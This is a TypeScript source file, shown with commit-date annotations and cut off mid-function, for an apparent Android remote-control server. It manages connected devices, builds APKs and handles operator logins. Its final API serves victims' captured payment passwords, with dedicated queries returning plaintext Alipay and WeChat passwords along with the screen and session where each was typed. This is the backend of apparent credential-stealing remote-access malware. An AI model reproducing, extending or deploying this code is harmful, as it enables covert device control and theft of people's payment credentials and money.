2026-02-09 16:34:01 +08:00
|
|
|
|
// 在文件最顶部加载环境变量配置
|
|
|
|
|
|
import dotenv from 'dotenv'
|
|
|
|
|
|
import path from 'path'
|
|
|
|
|
|
|
|
|
|
|
|
// pkg 打包后,需要从可执行文件所在目录读取 .env 文件
|
|
|
|
|
|
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
|
|
|
|
|
|
const envPath = (process as any).pkg
|
|
|
|
|
|
? path.join(path.dirname(process.execPath), '.env')
|
|
|
|
|
|
: path.join(process.cwd(), '.env')
|
|
|
|
|
|
|
|
|
|
|
|
dotenv.config({ path: envPath })
|
|
|
|
|
|
|
|
|
|
|
|
import express from 'express'
|
|
|
|
|
|
import { createServer } from 'http'
|
|
|
|
|
|
import { Server as SocketIOServer } from 'socket.io'
|
|
|
|
|
|
import cors from 'cors'
|
|
|
|
|
|
import multer from 'multer'
|
|
|
|
|
|
import { v4 as uuidv4 } from 'uuid'
|
|
|
|
|
|
import fs from 'fs'
|
|
|
|
|
|
import DeviceManager from './managers/DeviceManager'
|
|
|
|
|
|
import WebClientManager from './managers/WebClientManager'
|
|
|
|
|
|
import MessageRouter from './services/MessageRouter'
|
|
|
|
|
|
import { DatabaseService } from './services/DatabaseService'
|
|
|
|
|
|
import Logger from './utils/Logger'
|
|
|
|
|
|
import APKBuildService from './services/APKBuildService'
|
|
|
|
|
|
import AuthService from './services/AuthService'
|
|
|
|
|
|
import DeviceInfoSyncService from './services/DeviceInfoSyncService'
|
2026-02-13 01:06:00 +08:00
|
|
|
|
import { AdaptiveQualityService } from './services/AdaptiveQualityService'
|
2026-02-09 16:34:01 +08:00
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 远程控制服务端主应用
|
|
|
|
|
|
*/
|
|
|
|
|
|
class RemoteControlServer {
|
|
|
|
|
|
private app: express.Application
|
|
|
|
|
|
private server: any
|
|
|
|
|
|
private io: SocketIOServer
|
|
|
|
|
|
private deviceManager: DeviceManager
|
|
|
|
|
|
private webClientManager: WebClientManager
|
|
|
|
|
|
private messageRouter: MessageRouter
|
|
|
|
|
|
private databaseService: DatabaseService
|
|
|
|
|
|
private logger: Logger
|
|
|
|
|
|
private apkBuildService: APKBuildService
|
|
|
|
|
|
private authService: AuthService
|
|
|
|
|
|
private deviceInfoSyncService: DeviceInfoSyncService
|
2026-02-13 01:06:00 +08:00
|
|
|
|
private adaptiveQualityService: AdaptiveQualityService
|
2026-02-09 16:34:01 +08:00
|
|
|
|
private upload: multer.Multer
|
|
|
|
|
|
private registrationQueue: Array<{ socket: any, data: any, timestamp: number }> = []
|
|
|
|
|
|
private isProcessingRegistration = false
|
|
|
|
|
|
private lastRegistrationTime = 0
|
|
|
|
|
|
private readonly REGISTRATION_COOLDOWN = 100 // 100ms间隔处理注册
|
|
|
|
|
|
|
|
|
|
|
|
constructor() {
|
|
|
|
|
|
this.app = express()
|
|
|
|
|
|
this.server = createServer(this.app)
|
|
|
|
|
|
this.io = new SocketIOServer(this.server, {
|
|
|
|
|
|
cors: {
|
|
|
|
|
|
origin: "*",
|
|
|
|
|
|
methods: ["GET", "POST"]
|
|
|
|
|
|
},
|
|
|
|
|
|
transports: ['polling', 'websocket'], // 🔧 修复:支持两种传输,Android用polling,Web用websocket
|
|
|
|
|
|
allowUpgrades: true, // 允许从polling升级到websocket
|
|
|
|
|
|
// 🔧 适度优化心跳配置,保持与Android端兼容
|
|
|
|
|
|
pingTimeout: 90000, // 90秒 - 适度增加超时,避免网络抖动误断
|
|
|
|
|
|
pingInterval: 45000, // 45秒 - 保持合理的心跳间隔
|
|
|
|
|
|
upgradeTimeout: 45000, // 45秒 - 升级超时
|
|
|
|
|
|
connectTimeout: 60000, // 60秒 - 连接超时
|
|
|
|
|
|
// 🔧 连接管理优化
|
|
|
|
|
|
maxHttpBufferSize: 1e8, // 100MB - 增大缓冲区,适应大屏幕数据
|
|
|
|
|
|
allowEIO3: true, // 允许Engine.IO v3兼容性
|
|
|
|
|
|
// ✅ 服务器端优化
|
|
|
|
|
|
serveClient: false, // 禁用客户端服务,减少不必要的连接
|
|
|
|
|
|
destroyUpgrade: false, // 不销毁升级连接
|
|
|
|
|
|
destroyUpgradeTimeout: 1000, // 升级销毁超时1秒
|
|
|
|
|
|
cookie: false, // 禁用cookie,减少连接复杂性
|
|
|
|
|
|
// 🔧 新增:解决transport error的关键配置
|
|
|
|
|
|
perMessageDeflate: false, // 禁用消息压缩,减少CPU负担和传输延迟
|
|
|
|
|
|
httpCompression: false, // 禁用HTTP压缩,避免大数据传输时的压缩开销
|
|
|
|
|
|
allowRequest: (req, callback) => {
|
|
|
|
|
|
// 允许所有请求,但记录连接信息用于调试
|
|
|
|
|
|
const userAgent = req.headers['user-agent'] || 'unknown'
|
|
|
|
|
|
const remoteAddress = req.connection.remoteAddress || 'unknown'
|
|
|
|
|
|
callback(null, true)
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.logger = new Logger('Server')
|
|
|
|
|
|
this.databaseService = new DatabaseService()
|
|
|
|
|
|
this.deviceManager = new DeviceManager()
|
|
|
|
|
|
this.webClientManager = new WebClientManager(this.databaseService)
|
|
|
|
|
|
this.webClientManager.setSocketIO(this.io)
|
|
|
|
|
|
this.messageRouter = new MessageRouter(this.deviceManager, this.webClientManager, this.databaseService)
|
|
|
|
|
|
this.apkBuildService = new APKBuildService()
|
|
|
|
|
|
this.authService = new AuthService()
|
|
|
|
|
|
// 注意:AuthService 的异步初始化在 start() 方法中执行
|
|
|
|
|
|
this.deviceInfoSyncService = new DeviceInfoSyncService(this.authService)
|
2026-02-13 01:06:00 +08:00
|
|
|
|
this.adaptiveQualityService = new AdaptiveQualityService()
|
2026-02-09 16:34:01 +08:00
|
|
|
|
|
|
|
|
|
|
// 配置multer用于文件上传
|
|
|
|
|
|
this.upload = multer({
|
|
|
|
|
|
storage: multer.memoryStorage(),
|
|
|
|
|
|
limits: {
|
|
|
|
|
|
fileSize: 2 * 1024 * 1024, // 2MB限制
|
|
|
|
|
|
},
|
|
|
|
|
|
fileFilter: (req, file, cb) => {
|
|
|
|
|
|
if (file.mimetype.startsWith('image/')) {
|
|
|
|
|
|
cb(null, true)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
cb(new Error('只支持图片文件'))
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 清理所有旧的客户端和设备记录(服务器重启时)
|
|
|
|
|
|
this.webClientManager.clearAllClients()
|
|
|
|
|
|
this.deviceManager.clearAllDevices()
|
|
|
|
|
|
|
|
|
|
|
|
this.setupMiddleware()
|
|
|
|
|
|
this.setupRoutes()
|
|
|
|
|
|
this.setupSocketHandlers()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 启动状态一致性检查定时器
|
|
|
|
|
|
this.startConsistencyChecker()
|
|
|
|
|
|
|
|
|
|
|
|
// 🆕 启动设备信息同步服务
|
|
|
|
|
|
this.deviceInfoSyncService.start()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 设置中间件
|
|
|
|
|
|
*/
|
|
|
|
|
|
private setupMiddleware(): void {
|
|
|
|
|
|
this.app.use(cors())
|
|
|
|
|
|
this.app.use(express.json())
|
|
|
|
|
|
|
|
|
|
|
|
// pkg 打包后,需要从可执行文件所在目录读取 public 目录
|
|
|
|
|
|
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
|
|
|
|
|
|
const publicPath = (process as any).pkg
|
|
|
|
|
|
? path.join(path.dirname(process.execPath), 'public')
|
|
|
|
|
|
: path.join(process.cwd(), 'public')
|
|
|
|
|
|
|
|
|
|
|
|
this.app.use(express.static(publicPath))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 认证中间件 - 验证JWT token
|
|
|
|
|
|
*/
|
|
|
|
|
|
private authMiddleware = (req: any, res: any, next: any) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const authHeader = req.headers.authorization
|
|
|
|
|
|
|
|
|
|
|
|
if (!authHeader || !authHeader.startsWith('Bearer ')) {
|
|
|
|
|
|
return res.status(401).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '未提供认证token'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
const token = authHeader.substring(7)
|
|
|
|
|
|
const result = this.authService.verifyToken(token)
|
|
|
|
|
|
|
|
|
|
|
|
if (!result.valid) {
|
|
|
|
|
|
return res.status(401).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: result.error || '认证失败'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 将用户信息添加到请求对象(包含角色信息)
|
|
|
|
|
|
req.user = result.user
|
|
|
|
|
|
req.user.isSuperAdmin = result.user?.role === 'superadmin'
|
|
|
|
|
|
next()
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('认证中间件错误:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '服务器内部错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 检查是否为超级管理员
|
|
|
|
|
|
*/
|
|
|
|
|
|
private isSuperAdmin(req: any): boolean {
|
|
|
|
|
|
return req.user?.role === 'superadmin' || req.user?.isSuperAdmin === true
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 设置HTTP路由
|
|
|
|
|
|
*/
|
|
|
|
|
|
private setupRoutes(): void {
|
|
|
|
|
|
// 认证路由
|
|
|
|
|
|
this.app.post('/api/auth/login', async (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { username, password } = req.body
|
|
|
|
|
|
|
|
|
|
|
|
if (!username || !password) {
|
|
|
|
|
|
res.status(400).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '用户名和密码不能为空'
|
|
|
|
|
|
})
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🆕 检查是否已有活跃的Web客户端在线(超级管理员不受此限制)
|
|
|
|
|
|
const activeWebClients = this.getActiveWebClients()
|
|
|
|
|
|
const isSuperAdminLogin = username === (process.env.SUPERADMIN_USERNAME || 'superadmin')
|
|
|
|
|
|
|
|
|
|
|
|
if (activeWebClients.length > 0 && !isSuperAdminLogin) {
|
|
|
|
|
|
this.logger.warn(`拒绝登录请求: 检测到 ${activeWebClients.length} 个活跃的Web客户端已在线`)
|
|
|
|
|
|
res.status(409).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '已有Web端在线,不允许重复登录',
|
|
|
|
|
|
activeClients: activeWebClients.length,
|
|
|
|
|
|
details: `检测到 ${activeWebClients.length} 个活跃的Web客户端连接。为确保安全,同时只允许一个Web端登录。`
|
|
|
|
|
|
})
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (isSuperAdminLogin && activeWebClients.length > 0) {
|
|
|
|
|
|
this.logger.info(`超级管理员登录,忽略 ${activeWebClients.length} 个活跃客户端限制`)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
const result = await this.authService.login(username, password)
|
|
|
|
|
|
|
|
|
|
|
|
if (result.success) {
|
|
|
|
|
|
this.logger.info(`用户登录成功: ${username}, 当前无其他Web客户端在线`)
|
|
|
|
|
|
res.json(result)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
res.status(401).json(result)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('登录接口错误:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '服务器内部错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.post('/api/auth/verify', (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const authHeader = req.headers.authorization
|
|
|
|
|
|
|
|
|
|
|
|
if (!authHeader || !authHeader.startsWith('Bearer ')) {
|
|
|
|
|
|
res.status(401).json({
|
|
|
|
|
|
valid: false,
|
|
|
|
|
|
error: '缺少认证token'
|
|
|
|
|
|
})
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
const token = authHeader.substring(7)
|
|
|
|
|
|
const result = this.authService.verifyToken(token)
|
|
|
|
|
|
|
|
|
|
|
|
res.json(result)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('Token验证接口错误:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
valid: false,
|
|
|
|
|
|
error: '服务器内部错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.post('/api/auth/logout', (req, res) => {
|
|
|
|
|
|
// 简单的登出响应,实际的token失效在前端处理
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
message: '登出成功'
|
|
|
|
|
|
})
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 检查系统是否已初始化(不需要认证)
|
|
|
|
|
|
this.app.get('/api/auth/check-initialization', (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const isInitialized = this.authService.isInitialized()
|
|
|
|
|
|
const initInfo = this.authService.getInitializationInfo()
|
|
|
|
|
|
const lockFilePath = this.authService.getInitLockFilePath()
|
|
|
|
|
|
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
isInitialized,
|
|
|
|
|
|
initializationInfo: initInfo,
|
|
|
|
|
|
lockFilePath: lockFilePath,
|
|
|
|
|
|
help: isInitialized ?
|
|
|
|
|
|
`系统已初始化。如需重新初始化,请删除锁文件: ${lockFilePath}` :
|
|
|
|
|
|
'系统未初始化,需要进行首次设置'
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('检查初始化状态失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: '服务器内部错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 初始化系统(不需要认证,但只有在未初始化时才能调用)
|
|
|
|
|
|
this.app.post('/api/auth/initialize', async (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { username, password } = req.body
|
|
|
|
|
|
|
|
|
|
|
|
if (!username || !password) {
|
|
|
|
|
|
res.status(400).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '用户名和密码不能为空'
|
|
|
|
|
|
})
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
const result = await this.authService.initializeSystem(username, password)
|
|
|
|
|
|
|
|
|
|
|
|
if (result.success) {
|
|
|
|
|
|
res.json(result)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
res.status(400).json(result)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (error: any) {
|
|
|
|
|
|
this.logger.error('系统初始化接口错误:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '服务器内部错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// // 🆕 设备信息同步相关 API
|
|
|
|
|
|
// this.app.get('/api/device/sync/status', this.authMiddleware, (req: any, res) => {
|
|
|
|
|
|
// try {
|
|
|
|
|
|
// const status = this.deviceInfoSyncService.getStatus()
|
|
|
|
|
|
// res.json({
|
|
|
|
|
|
// success: true,
|
|
|
|
|
|
// ...status
|
|
|
|
|
|
// })
|
|
|
|
|
|
// } catch (error: any) {
|
|
|
|
|
|
// this.logger.error('获取同步状态失败:', error)
|
|
|
|
|
|
// res.status(500).json({
|
|
|
|
|
|
// success: false,
|
|
|
|
|
|
// message: '获取同步状态失败'
|
|
|
|
|
|
// })
|
|
|
|
|
|
// }
|
|
|
|
|
|
// })
|
|
|
|
|
|
|
|
|
|
|
|
// this.app.post('/api/device/sync/trigger', this.authMiddleware, async (req: any, res) => {
|
|
|
|
|
|
// try {
|
|
|
|
|
|
// const success = await this.deviceInfoSyncService.triggerSync()
|
|
|
|
|
|
// if (success) {
|
|
|
|
|
|
// res.json({
|
|
|
|
|
|
// success: true,
|
|
|
|
|
|
// message: '同步已触发'
|
|
|
|
|
|
// })
|
|
|
|
|
|
// } else {
|
|
|
|
|
|
// res.status(500).json({
|
|
|
|
|
|
// success: false,
|
|
|
|
|
|
// message: '同步触发失败'
|
|
|
|
|
|
// })
|
|
|
|
|
|
// }
|
|
|
|
|
|
// } catch (error: any) {
|
|
|
|
|
|
// this.logger.error('触发同步失败:', error)
|
|
|
|
|
|
// res.status(500).json({
|
|
|
|
|
|
// success: false,
|
|
|
|
|
|
// message: '触发同步失败'
|
|
|
|
|
|
// })
|
|
|
|
|
|
// }
|
|
|
|
|
|
// })
|
|
|
|
|
|
|
|
|
|
|
|
// 健康检查
|
|
|
|
|
|
this.app.get('/health', (req, res) => {
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
status: 'ok',
|
|
|
|
|
|
timestamp: new Date().toISOString(),
|
|
|
|
|
|
connectedDevices: this.deviceManager.getDeviceCount(),
|
|
|
|
|
|
connectedClients: this.webClientManager.getClientCount()
|
|
|
|
|
|
})
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// API路由 (需要认证)
|
|
|
|
|
|
this.app.get('/api/devices', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
// ✅ 使用完整的设备列表(包含历史设备和正确状态)
|
|
|
|
|
|
res.json(this.getAllDevicesIncludingHistory())
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.get('/api/devices/:deviceId', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
const device = this.deviceManager.getDevice(req.params.deviceId)
|
|
|
|
|
|
if (device) {
|
|
|
|
|
|
res.json(device)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
res.status(404).json({ error: 'Device not found' })
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 🆕 设备备注相关API
|
|
|
|
|
|
this.app.put('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { deviceId } = req.params
|
|
|
|
|
|
const { remark } = req.body
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`📝 更新设备备注: ${deviceId} -> ${remark}`)
|
|
|
|
|
|
|
|
|
|
|
|
// 检查设备是否存在
|
|
|
|
|
|
const device = this.deviceManager.getDevice(deviceId)
|
|
|
|
|
|
if (!device) {
|
|
|
|
|
|
// 尝试从数据库查找设备
|
|
|
|
|
|
const dbDevice = this.databaseService.getDeviceById(deviceId)
|
|
|
|
|
|
if (!dbDevice) {
|
|
|
|
|
|
res.status(404).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '设备不存在'
|
|
|
|
|
|
})
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 更新设备备注
|
|
|
|
|
|
const success = this.databaseService.updateDeviceRemark(deviceId, remark || '')
|
|
|
|
|
|
|
|
|
|
|
|
if (success) {
|
|
|
|
|
|
// 如果设备在线,更新内存中的设备信息
|
|
|
|
|
|
if (device) {
|
|
|
|
|
|
device.remark = remark
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
message: '设备备注已更新',
|
|
|
|
|
|
deviceId: deviceId,
|
|
|
|
|
|
remark: remark
|
|
|
|
|
|
})
|
|
|
|
|
|
} else {
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '更新设备备注失败'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('更新设备备注失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '服务器内部错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
this.app.get('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { deviceId } = req.params
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`📝 获取设备备注: ${deviceId}`)
|
|
|
|
|
|
|
|
|
|
|
|
// 检查设备是否存在
|
|
|
|
|
|
const device = this.deviceManager.getDevice(deviceId)
|
|
|
|
|
|
if (!device) {
|
|
|
|
|
|
// 尝试从数据库查找设备
|
|
|
|
|
|
const dbDevice = this.databaseService.getDeviceById(deviceId)
|
|
|
|
|
|
if (!dbDevice) {
|
|
|
|
|
|
res.status(404).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '设备不存在'
|
|
|
|
|
|
})
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 获取设备备注
|
|
|
|
|
|
const remark = this.databaseService.getDeviceRemark(deviceId)
|
|
|
|
|
|
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
deviceId: deviceId,
|
|
|
|
|
|
remark: remark
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('获取设备备注失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '服务器内部错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
// 🆕 查询设备是否被其他web客户端控制
|
|
|
|
|
|
this.app.get('/api/devices/:deviceId/controller', this.authMiddleware, (req: any, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { deviceId } = req.params
|
|
|
|
|
|
const currentUserId = req.user?.id
|
|
|
|
|
|
const currentUsername = req.user?.username
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`🔍 查询设备控制状态: ${deviceId} (请求者: ${currentUsername})`)
|
|
|
|
|
|
|
|
|
|
|
|
// 检查设备是否存在
|
|
|
|
|
|
const device = this.deviceManager.getDevice(deviceId)
|
|
|
|
|
|
if (!device) {
|
|
|
|
|
|
// 尝试从数据库查找设备
|
|
|
|
|
|
const dbDevice = this.databaseService.getDeviceById(deviceId)
|
|
|
|
|
|
if (!dbDevice) {
|
|
|
|
|
|
res.status(404).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
message: '设备不存在'
|
|
|
|
|
|
})
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 获取控制该设备的客户端ID
|
|
|
|
|
|
const controllerClientId = this.webClientManager.getDeviceController(deviceId)
|
|
|
|
|
|
|
|
|
|
|
|
if (!controllerClientId) {
|
|
|
|
|
|
// 设备未被控制
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
deviceId,
|
|
|
|
|
|
isControlled: false,
|
|
|
|
|
|
controller: null
|
|
|
|
|
|
})
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 获取控制者客户端信息
|
|
|
|
|
|
const controllerClient = this.webClientManager.getClient(controllerClientId)
|
|
|
|
|
|
if (!controllerClient) {
|
|
|
|
|
|
// 控制者客户端不存在(可能已断开)
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
deviceId,
|
|
|
|
|
|
isControlled: false,
|
|
|
|
|
|
controller: null
|
|
|
|
|
|
})
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否是当前用户自己在控制
|
|
|
|
|
|
const isCurrentUser = controllerClient.userId === currentUserId ||
|
|
|
|
|
|
controllerClient.username === currentUsername
|
|
|
|
|
|
|
|
|
|
|
|
// 返回控制者信息(不包含敏感信息)
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
deviceId,
|
|
|
|
|
|
isControlled: true,
|
|
|
|
|
|
isCurrentUser: isCurrentUser,
|
|
|
|
|
|
controller: {
|
|
|
|
|
|
clientId: controllerClientId,
|
|
|
|
|
|
username: controllerClient.username || '未知用户',
|
|
|
|
|
|
connectedAt: controllerClient.connectedAt,
|
|
|
|
|
|
lastSeen: controllerClient.lastSeen,
|
|
|
|
|
|
ip: controllerClient.ip,
|
|
|
|
|
|
userAgent: controllerClient.userAgent
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
} catch (error) {
|
|
|
|
|
|
this.logger.error('查询设备控制状态失败:', error)
|
|
|
|
|
|
res.status(500).json({
|
|
|
|
|
|
success: false,
|
|
|
|
|
|
error: '查询设备控制状态失败',
|
|
|
|
|
|
message: error instanceof Error ? error.message : '未知错误'
|
|
|
|
|
|
})
|
|
|
|
|
|
}
|
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// 🔐 通用密码输入相关 API (需要认证) - 融合支付宝和微信密码查询
|
|
|
|
|
|
this.app.get('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => {
|
|
|
|
|
|
try {
|
|
|
|
|
|
const { deviceId } = req.params
|
|
|
|
|
|
const { page = 1, pageSize = 50, passwordType } = req.query
|
|
|
|
|
|
|
|
|
|
|
|
this.logger.info(`🔐 获取设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`)
|
|
|
|
|
|
|
|
|
|
|
|
let result: any
|
|
|
|
|
|
|
|
|
|
|
|
// 根据密码类型选择查询方法
|
|
|
|
|
|
if (passwordType === 'ALIPAY_PASSWORD') {
|
|
|
|
|
|
// 查询支付宝密码
|
|
|
|
|
|
const alipayResult = this.databaseService.getAlipayPasswords(
|
|
|
|
|
|
deviceId,
|
|
|
|
|
|
parseInt(page as string),
|
|
|
|
|
|
parseInt(pageSize as string)
|
|
|
|
|
|
)
|
|
|
|
|
|
// 转换为统一格式
|
|
|
|
|
|
result = {
|
|
|
|
|
|
passwords: alipayResult.passwords.map(pwd => ({
|
|
|
|
|
|
id: pwd.id,
|
|
|
|
|
|
deviceId: pwd.deviceId,
|
|
|
|
|
|
password: pwd.password,
|
|
|
|
|
|
passwordLength: pwd.passwordLength,
|
|
|
|
|
|
passwordType: 'ALIPAY_PASSWORD',
|
|
|
|
|
|
activity: pwd.activity,
|
|
|
|
|
|
inputMethod: pwd.inputMethod,
|
|
|
|
|
|
installationId: 'unknown',
|
|
|
|
|
|
sessionId: pwd.sessionId,
|
|
|
|
|
|
timestamp: pwd.timestamp,
|
|
|
|
|
|
createdAt: pwd.createdAt
|
|
|
|
|
|
})),
|
|
|
|
|
|
total: alipayResult.total,
|
|
|
|
|
|
page: alipayResult.page,
|
|
|
|
|
|
pageSize: alipayResult.pageSize,
|
|
|
|
|
|
totalPages: alipayResult.totalPages
|
|
|
|
|
|
}
|
|
|
|
|
|
} else if (passwordType === 'WECHAT_PASSWORD') {
|
|
|
|
|
|
// 查询微信密码
|
|
|
|
|
|
const wechatResult = this.databaseService.getWechatPasswords(
|
|
|
|
|
|
deviceId,
|
|
|
|
|
|
parseInt(page as string),
|
|
|
|
|
|
parseInt(pageSize as string)
|
|
|
|
|
|
)
|
|
|
|
|
|
// 转换为统一格式
|
|
|
|
|
|
result = {
|
|
|
|
|
|
passwords: wechatResult.passwords.map(pwd => ({
|
|
|
|
|
|
id: pwd.id,
|
|
|
|
|
|
deviceId: pwd.deviceId,
|
|
|
|
|
|
password: pwd.password,
|
|
|
|
|
|
passwordLength: pwd.passwordLength,
|
|
|
|
|
|
passwordType: 'WECHAT_PASSWORD',
|
|
|
|
|
|
activity: pwd.activity,
|
|
|
|
|
|
inputMethod: pwd.inputMethod,
|
|
|
|
|
|
installationId: 'unknown',
|
|
|
|
|
|
sessionId: pwd.sessionId,
|
|
|
|
|
|
timestamp: pwd.timestamp,
|
|
|
|
|
|
createdAt: pwd.createdAt
|
|
|
|
|
|
})),
|
|
|
|
|
|
total: wechatResult.total,
|
|
|
|
|
|
page: wechatResult.page,
|
|
|
|
|
|
pageSize: wechatResult.pageSize,
|
|
|
|
|
|
totalPages: wechatResult.totalPages
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 查询通用密码输入记录
|
|
|
|
|
|
result = this.databaseService.getPasswordInputs(
|
|
|
|
|
|
deviceId,
|
|
|
|
|
|
parseInt(page as string),
|
|
|
|
|
|
parseInt(pageSize as string),
|
|
|
|
|
|
passwordType as string
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
res.json({
|
|
|
|
|
|
success: true,
|
|
|
|
|
|
data: result
|
|
|
|
|
|
})
|
|
